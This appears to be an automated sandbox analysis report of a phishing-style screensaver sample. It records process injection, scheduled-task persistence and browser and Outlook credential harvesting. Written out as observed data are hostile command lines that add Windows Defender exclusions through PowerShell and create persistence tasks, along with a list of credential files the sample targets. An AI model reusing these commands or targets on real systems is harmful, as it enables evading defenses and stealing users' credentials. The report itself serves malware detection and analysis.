Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtResumeThread: Direct from: 0x774D008D
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtOpenKeyEx: Direct from: 0x774D103A
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtUnmapViewOfSection: Direct from: 0x774CFCA2	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtDelayExecution: Direct from: 0x774CFDA1
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetInformationProcess: Direct from: 0x774CFB4A
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetInformationThread: Direct from: 0x774CF9CE
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtReadFile: Direct from: 0x774CF915
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtMapViewOfSection: Direct from: 0x774CFC72
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtCreateThreadEx: Direct from: 0x774D08C6
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtDeviceIoControlFile: Direct from: 0x774CF931
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtRequestWaitReplyPort: Direct from: 0x753C6BCE
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQueryValueKey: Direct from: 0x774CFACA
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtOpenSection: Direct from: 0x774CFDEA
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtTerminateThread: Direct from: 0x774D00A6
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtProtectVirtualMemory: Direct from: 0x774D005A
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtWriteVirtualMemory: Direct from: 0x774CFE36	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtRequestWaitReplyPort: Direct from: 0x756F8D92	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQueryVolumeInformationFile: Direct from: 0x774CFFAE
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtNotifyChangeKey: Direct from: 0x774D0F92
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQueryAttributesFile: Direct from: 0x774CFE7E
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtReadVirtualMemory: Direct from: 0x774CFEB2	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetTimer: Direct from: 0x774E98D5
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetInformationFile: Direct from: 0x774CFC5A	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQuerySystemInformation: Direct from: 0x774CFDD2

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msinfo32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: NULL target: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: NULL target: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\msinfo32.exe

Thread APC queued: target process: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008	Jump to behavior

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp61C0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\PEJmengI.exe C:\Users\user\AppData\Roaming\PEJmengI.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp958C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: mrNbohrgjTw.exe, 0000000B.00000002.873762675.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000000.379732205.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409275570.0000000000D10000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: mrNbohrgjTw.exe, 0000000B.00000002.873762675.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000000.379732205.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409275570.0000000000D10000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mrNbohrgjTw.exe, 0000000B.00000002.873762675.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000000.379732205.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409275570.0000000000D10000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Queries volume information: C:\Users\user\Desktop\RFQ_P.O.1212024.scr VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Queries volume information: C:\Users\user\AppData\Roaming\PEJmengI.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\jz-tmbi.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation

Source: C:\Windows\SysWOW64\msinfo32.exe

Code function: 12_2_61E91E90 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

12_2_61E91E90

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.873456007.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396612978.00000000001B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396870614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.461322824.0000000000170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873508536.0000000000360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873699119.0000000001D20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.398641756.00000000025C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.873703699.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.873782625.0000000003E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\msinfo32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001	Jump to behavior

Remote Access Functionality

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.873456007.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396612978.00000000001B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396870614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.461322824.0000000000170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873508536.0000000000360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873699119.0000000001D20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.398641756.00000000025C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.873703699.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.873782625.0000000003E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E14193 sqlite3_bind_parameter_index,	12_2_61E14193
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E032A7 sqlite3_bind_parameter_count,	12_2_61E032A7
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E032B9 sqlite3_bind_parameter_name,	12_2_61E032B9
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E285E2 sqlite3_bind_text,	12_2_61E285E2
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E2859B sqlite3_bind_blob64,	12_2_61E2859B
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E10565 sqlite3_mutex_enter,sqlite3_mutex_leave,sqlite3_transfer_bindings,	12_2_61E10565
Source: C:\Windows\SysWOW64\msinfo32.exe	Code function: 12_2_61E28574 sqlite3_mutex_leave,sqlite3_bind_blob,	12_2_61E28574
